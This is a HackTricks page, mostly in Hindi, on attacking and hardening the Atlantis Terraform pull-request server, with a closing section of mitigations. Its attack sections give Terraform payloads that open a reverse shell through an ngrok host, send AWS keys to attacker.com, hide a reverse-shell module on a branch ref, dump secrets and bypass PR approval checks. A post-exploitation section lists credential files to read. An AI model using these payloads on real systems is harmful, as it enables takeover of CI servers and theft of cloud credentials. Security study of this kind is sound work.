Atlantis Security

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Atlantis मूल रूप से आपको आपके git सर्वर से Pull Requests से terraform चलाने में मदद करता है।

Local Lab

https://github.com/runatlantis/atlantis/releases पर atlantis releases page पर जाएं और डाउनलोड करें जो आपके लिए उपयुक्त हो।
अपने github उपयोगकर्ता का व्यक्तिगत टोकन (repo एक्सेस के साथ) बनाएं।
./atlantis testdrive चलाएं और यह एक डेमो repo बनाएगा जिसका आप atlantis से बात करने के लिए उपयोग कर सकते हैं।
आप 127.0.0.1:4141 में वेब पृष्ठ तक पहुँच सकते हैं।

Atlantis Access

Git Server Credentials

Atlantis कई git होस्ट जैसे Github, Gitlab, Bitbucket और Azure DevOps का समर्थन करता है। हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ विशेषाधिकार प्राप्त एक्सेस की आवश्यकता होती है (कम से कम लिखने की अनुमति)। The docs इन प्लेटफार्मों में Atlantis के लिए विशेष रूप से एक उपयोगकर्ता बनाने की सिफारिश करते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं।

किसी भी मामले में, एक हमलावर के दृष्टिकोण से, Atlantis खाता एक बहुत ही दिलचस्प हैक करने के लिए होगा।

Webhooks

Atlantis वैकल्पिक रूप से Webhook secrets का उपयोग करता है ताकि यह सत्यापित किया जा सके कि webhooks जो इसे आपके Git होस्ट से मिलते हैं, वे वैध हैं।

इसकी पुष्टि करने का एक तरीका यह होगा कि केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को अनुमति दें, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है।

ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको वेबहुक एंडपॉइंट्स को इंटरनेट पर उजागर करने की आवश्यकता होगी।

Atlantis webhooks को expose करने जा रहा है ताकि git सर्वर इसे जानकारी भेज सके। एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प होगा कि क्या आप इसे संदेश भेज सकते हैं।

Provider Credentials

From the docs:

Atlantis Terraform को बस terraform plan और apply कमांड्स को सर्वर पर चलाकर चलाता है जिस पर Atlantis होस्ट किया गया है। ठीक उसी तरह जैसे आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है।

यह आपके ऊपर है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए क्रेडेंशियल्स कैसे प्रदान करते हैं:

Atlantis Helm Chart और AWS Fargate Module के पास प्रदाता क्रेडेंशियल्स के लिए अपने स्वयं के तंत्र हैं। उनके दस्तावेज़ पढ़ें।
यदि आप Atlantis को एक क्लाउड में चला रहे हैं तो कई क्लाउड में उन पर चलने वाले अनुप्रयोगों को क्लाउड API एक्सेस देने के तरीके हैं, जैसे:
AWS EC2 Roles ( "EC2 Role" के लिए खोजें)
GCE Instance Service Accounts
कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे AWS_ACCESS_KEY, जहां Atlantis चल रहा है।
अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे ~/.aws/credentials, जहां Atlantis चल रहा है।
प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए HashiCorp Vault Provider का उपयोग करें।

Container जहां Atlantis चल रहा है में उच्च संभावना है कि privileged credentials प्रदाताओं (AWS, GCP, Github...) के लिए होंगे जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है।

Web Page

डिफ़ॉल्ट रूप से Atlantis एक वेब पृष्ठ को localhost में पोर्ट 4141 पर चलाएगा। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)।

आप शायद इसे इंटरनेट पर उजागर नहीं पाएंगे, लेकिन ऐसा लगता है कि डिफ़ॉल्ट रूप से इस तक पहुँचने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है (और यदि हैं तो atlantis:atlantis डिफ़ॉल्ट हैं)।

Server Configuration

atlantis server के लिए कॉन्फ़िगरेशन को कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों के मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है।

आप यहाँ फ्लैग की सूची पा सकते हैं जो Atlantis सर्वर द्वारा समर्थित हैं।
आप यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित करें

मान मानने का यह क्रम है:

फ्लैग
पर्यावरण चर
कॉन्फ़िग फ़ाइल

ध्यान दें कि कॉन्फ़िगरेशन में आप tokens और passwords जैसे दिलचस्प मान पा सकते हैं।

Repos Configuration

कुछ कॉन्फ़िगरेशन repos के प्रबंधन के तरीके को प्रभावित करते हैं। हालाँकि, यह संभव है कि प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है:

Repo /atlantis.yml फ़ाइल। इस फ़ाइल का उपयोग यह निर्दिष्ट करने के लिए किया जा सकता है कि atlantis को repo के साथ कैसे व्यवहार करना चाहिए। हालाँकि, डिफ़ॉल्ट रूप से कुछ कुंजियाँ यहाँ निर्दिष्ट नहीं की जा सकती हैं बिना कुछ फ्लैग्स की अनुमति के।
शायद allowed_overrides या allow_custom_workflows जैसे फ्लैग्स द्वारा अनुमति दी जानी चाहिए।
Server Side Config: आप इसे --repo-config फ्लैग के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला yaml है (regexes समर्थित)।
डिफ़ॉल्ट मान

PR Protections

Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि PR को किसी और द्वारा approved किया जाए (यहां तक कि यदि वह शाखा सुरक्षा में सेट नहीं है) और/या mergeable (शाखा सुरक्षा पास की गई) apply चलाने से पहले। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है।

यदि allowed_overrides True है, तो ये सेटिंग्स प्रत्येक प्रोजेक्ट पर /atlantis.yml फ़ाइल द्वारा ओवरराइट की जा सकती हैं।

Scripts

Repo कॉन्फ़िग स्क्रिप्ट्स को चलाने के लिए पहले (pre workflow hooks) और बाद में (post workflow hooks) निर्दिष्ट कर सकता है जब एक workflow निष्पादित होता है।

इन स्क्रिप्ट्स को repo /atlantis.yml फ़ाइल में निर्दिष्ट करने की कोई विकल्प नहीं है।

Workflow

Repo कॉन्फ़िग (सर्वर साइड कॉन्फ़िग) में आप एक नया डिफ़ॉल्ट workflow निर्दिष्ट कर सकते हैं, या नए कस्टम workflows बना सकते हैं। आप यह भी निर्दिष्ट कर सकते हैं कि कौन से repos नए उत्पन्न किए गए ones तक पहुँच सकते हैं। फिर, आप प्रत्येक repo के atlantis.yaml फ़ाइल को workflow का उपयोग करने के लिए निर्दिष्ट करने की अनुमति दे सकते हैं।

यदि server side config फ्लैग allow_custom_workflows को True पर सेट किया गया है, तो workflows को प्रत्येक repo के atlantis.yaml फ़ाइल में निर्दिष्ट किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि allowed_overrides workflow को override करने के लिए निर्दिष्ट करे जो उपयोग किया जाने वाला है। यह मूल रूप से Atlantis सर्वर में RCE किसी भी उपयोगकर्ता को देगा जो उस repo तक पहुँच सकता है।

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest नीति जांचना

Atlantis सर्वर-साइड conftest नीतियों को योजना आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का उपयोग करने के सामान्य मामले शामिल हैं:

मॉड्यूल की एक सूची के उपयोग को अस्वीकार करना
निर्माण के समय एक संसाधन के गुणों का सत्यापन करना
अनजाने में संसाधन हटाने को पकड़ना
सुरक्षा जोखिमों को रोकना (जैसे, सुरक्षित पोर्ट को सार्वजनिक रूप से उजागर करना)

आप इसे कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं दस्तावेज़ों में.

Atlantis कमांड

दस्तावेज़ों में आप उन विकल्पों को पा सकते हैं जिनका उपयोग आप Atlantis चलाने के लिए कर सकते हैं:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

हमले

यदि शोषण के दौरान आपको यह त्रुटि मिलती है: Error: Error acquiring the state lock

आप इसे चलाकर ठीक कर सकते हैं:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis योजना RCE - नए PR में कॉन्फ़िगरेशन संशोधन

यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप atlantis plan को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है), तो आप Atlantis सर्वर के अंदर RCE कर सकेंगे।

आप ऐसा Atlantis को एक बाहरी डेटा स्रोत लोड करने के द्वारा कर सकते हैं। बस main.tf फ़ाइल में निम्नलिखित की तरह एक पेलोड डालें:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

स्टेल्थियर अटैक

आप इस अटैक को एक स्टेल्थियर तरीके से भी कर सकते हैं, इन सुझावों का पालन करके:

टेराफॉर्म फ़ाइल में सीधे रेव शेल जोड़ने के बजाय, आप एक बाहरी संसाधन लोड कर सकते हैं जिसमें रेव शेल हो:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

आप रिव शेल कोड https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules पर पा सकते हैं।

बाहरी संसाधन में, ref फ़ीचर का उपयोग करें ताकि repo के अंदर एक शाखा में terraform rev shell कोड को छिपाया जा सके, कुछ इस तरह: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
PR को मास्टर में बनाने के बजाय Atlantis को ट्रिगर करने के लिए, 2 शाखाएँ (test1 और test2) बनाएं और एक से दूसरी के लिए PR बनाएं। जब आप हमले को पूरा कर लें, तो बस PR और शाखाओं को हटा दें।

Atlantis योजना सीक्रेट्स डंप

आप terraform द्वारा उपयोग किए गए सीक्रेट्स को डंप कर सकते हैं atlantis plan (terraform plan) चलाकर, terraform फ़ाइल में कुछ इस तरह डालकर:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Config modification in new PR

यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप atlantis apply निष्पादित कर सकते हैं, तो आप Atlantis सर्वर के अंदर RCE प्राप्त कर सकते हैं।

हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करने की आवश्यकता होगी:

Mergeable: यदि यह सुरक्षा Atlantis में सेट है, तो आप केवल atlantis apply चला सकते हैं यदि PR मर्ज करने योग्य है (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना होगा)।
संभावित शाखा सुरक्षा बायपास की जांच करें
Approved: यदि यह सुरक्षा Atlantis में सेट है, तो कुछ अन्य उपयोगकर्ता को PR को स्वीकृत करना होगा इससे पहले कि आप atlantis apply चला सकें
डिफ़ॉल्ट रूप से, आप Gitbot टोकन का दुरुपयोग करके इस सुरक्षा को बायपास कर सकते हैं

एक दुर्भावनापूर्ण Terraform फ़ाइल पर terraform apply चलाना local-exec। आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड main.tf फ़ाइल में समाप्त हो जाएं:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

पिछली तकनीक से सुझावों का पालन करें ताकि इस हमले को छिपे हुए तरीके से किया जा सके।

Terraform Param Injection

जब atlantis plan या atlantis apply चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह से कमांड पास कर सकते हैं:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

कुछ चीजें जो आप पास कर सकते हैं वे env variables हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। terraform env vars की जांच करें https://www.terraform.io/cli/config/environment-variables

कस्टम वर्कफ़्लो

atlantis.yaml फ़ाइल में निर्दिष्ट दुष्ट कस्टम बिल्ड कमांड चलाना। Atlantis पुल अनुरोध शाखा से atlantis.yaml फ़ाइल का उपयोग करता है, नहीं master की। यह संभावना पिछले अनुभाग में उल्लेखित की गई थी:

यदि सर्वर साइड कॉन्फ़िग ध्वज allow_custom_workflows को True पर सेट किया गया है, तो वर्कफ़्लो को प्रत्येक रेपो की atlantis.yaml फ़ाइल में निर्दिष्ट किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि allowed_overrides workflow को ओवरराइड करने के लिए निर्दिष्ट करता है जो उपयोग किया जाने वाला है।

यह मूल रूप से Atlantis सर्वर में किसी भी उपयोगकर्ता को RCE देगा जो उस रेपो तक पहुंच सकता है।

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

योजना/लागू सुरक्षा को बायपास करें

यदि सर्वर साइड कॉन्फ़िग ध्वज allowed_overrides में apply_requirements कॉन्फ़िगर किया गया है, तो एक रिपॉजिटरी योजना/लागू सुरक्षा को बायपास करने के लिए संशोधित कर सकती है।

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

यदि कोई आपके मान्य पुल अनुरोधों पर atlantis plan/apply टिप्पणियाँ भेजता है, तो यह terraform को चलाने का कारण बनेगा जब आप ऐसा नहीं चाहते।

इसके अलावा, यदि आपने branch protection में यह कॉन्फ़िगर नहीं किया है कि जब एक नया कमिट इसमें पुश किया जाता है तो हर PR को फिर से मूल्यांकन करने के लिए कहा जाए, तो कोई दुष्ट कॉन्फ़िग्स (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िग में लिख सकता है, atlantis plan/apply चला सकता है और RCE प्राप्त कर सकता है।

यह Github branch protections में सेटिंग है:

Webhook Secret

यदि आप webhook secret चुराने में सफल होते हैं या यदि कोई webhook secret उपयोग नहीं किया जा रहा है, तो आप Atlantis webhook को call कर सकते हैं और atlantis commands सीधे invoke कर सकते हैं।

Bitbucket

Bitbucket Cloud webhook secrets का समर्थन नहीं करता है। यह हमलावरों को Bitbucket से अनुरोधों की नकल करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं।

इसका मतलब है कि एक हमलावर Atlantis के लिए फर्जी अनुरोध कर सकता है जो ऐसा दिखता है जैसे वे Bitbucket से आ रहे हैं।
यदि आप --repo-allowlist निर्दिष्ट कर रहे हैं तो वे केवल उन रिपोजिटरी से संबंधित फर्जी अनुरोध कर सकते हैं, इसलिए वे जो सबसे अधिक नुकसान कर सकते हैं वह आपके अपने रिपोजिटरी पर plan/apply करना होगा।
इसे रोकने के लिए, Bitbucket के IP पते को allowlist करें (Outbound IPv4 addresses देखें)।

Post-Exploitation

यदि आप सर्वर तक पहुँचने में सफल हो गए हैं या कम से कम आपके पास LFI है, तो कुछ दिलचस्प चीजें हैं जिन्हें आपको पढ़ने का प्रयास करना चाहिए:

/home/atlantis/.git-credentials VCS एक्सेस क्रेडेंशियल्स शामिल हैं
/atlantis-data/atlantis.db अधिक जानकारी के साथ VCS एक्सेस क्रेडेंशियल्स शामिल हैं
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform stated file
उदाहरण: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ Env वेरिएबल्स
/proc/[2-20]/cmdline atlantis server की Cmd line (संवेदनशील डेटा हो सकता है)

Mitigations

Don't Use On Public Repos

क्योंकि कोई भी सार्वजनिक पुल अनुरोधों पर टिप्पणी कर सकता है, सभी सुरक्षा उपायों के साथ भी, सार्वजनिक रिपोजिटरी पर उचित सुरक्षा सेटिंग्स के बिना Atlantis चलाना अभी भी खतरनाक है।

Don't Use `--allow-fork-prs`

यदि आप एक सार्वजनिक रिपोजिटरी पर चल रहे हैं (जो अनुशंसित नहीं है, ऊपर देखें) तो आपको --allow-fork-prs सेट नहीं करना चाहिए (डिफ़ॉल्ट रूप से false) क्योंकि कोई भी अपने फोर्क से आपके रिपोजिटरी के लिए एक पुल अनुरोध खोल सकता है।

`--repo-allowlist`

Atlantis को आपको --repo-allowlist ध्वज के माध्यम से उन रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है जिनसे यह वेबहुक स्वीकार करेगा। उदाहरण के लिए:

विशिष्ट रिपोजिटरी: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
आपका पूरा संगठन: --repo-allowlist=github.com/runatlantis/*
आपके GitHub Enterprise इंस्टॉलेशन में हर रिपोजिटरी: --repo-allowlist=github.yourcompany.com/*
सभी रिपोजिटरी: --repo-allowlist=*। जब आप एक सुरक्षित नेटवर्क में होते हैं तो यह उपयोगी है लेकिन बिना वेबहुक सीक्रेट सेट किए खतरनाक है।

यह ध्वज सुनिश्चित करता है कि आपकी Atlantis इंस्टॉलेशन उन रिपोजिटरी के साथ उपयोग नहीं की जा रही है जिन्हें आप नियंत्रित नहीं करते। अधिक विवरण के लिए atlantis server --help देखें।

Protect Terraform Planning

यदि हमलावर दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत कर रहे हैं तो यह आपके खतरे के मॉडल में है, तो आपको यह जानना चाहिए कि terraform apply अनुमतियाँ पर्याप्त नहीं हैं। यह external data source का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके terraform plan में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है।

इसे रोकने के लिए, आप कर सकते हैं:

प्रदाताओं को Atlantis छवि में बेक करें या होस्ट करें और उत्पादन में ईग्रेस को अस्वीकार करें।
आंतरिक रूप से प्रदाता रजिस्ट्री प्रोटोकॉल लागू करें और सार्वजनिक ईग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि किसके पास रजिस्ट्री में लिखने का अधिकार है।
अपने सर्वर-साइड रिपो कॉन्फ़िगरेशन के plan चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि plan जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है।

Webhook Secrets

Atlantis को $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET पर्यावरण वेरिएबल के माध्यम से सेट किए गए Webhook secrets के साथ चलाना चाहिए। --repo-allowlist ध्वज सेट होने के बावजूद, बिना वेबहुक सीक्रेट के, हमलावर उन रिपोजिटरी के रूप में Atlantis को अनुरोध कर सकते हैं जो allowlisted हैं। Webhook secrets यह सुनिश्चित करते हैं कि वेबहुक अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं।

यदि आप Azure DevOps का उपयोग कर रहे हैं, तो वेबहुक सीक्रेट के बजाय एक बुनियादी उपयोगकर्ता नाम और पासवर्ड जोड़ें।

Azure DevOps Basic Authentication

Azure DevOps सभी वेबहुक घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके वेबहुक स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है।

SSL/HTTPS

यदि आप वेबहुक सीक्रेट का उपयोग कर रहे हैं लेकिन आपका ट्रैफ़िक HTTP पर है, तो वेबहुक सीक्रेट चुराए जा सकते हैं। --ssl-cert-file और --ssl-key-file ध्वजों का उपयोग करके SSL/HTTPS सक्षम करें।

Enable Authentication on Atlantis Web Server

वेब सेवा में प्रमाणीकरण सक्षम करना अत्यधिक अनुशंसित है। --web-basic-auth=true का उपयोग करके BasicAuth सक्षम करें और --web-username=yourUsername और --web-password=yourPassword ध्वजों का उपयोग करके एक उपयोगकर्ता नाम और पासवर्ड सेट करें।

आप इन्हें पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername और ATLANTIS_WEB_PASSWORD=yourPassword।

References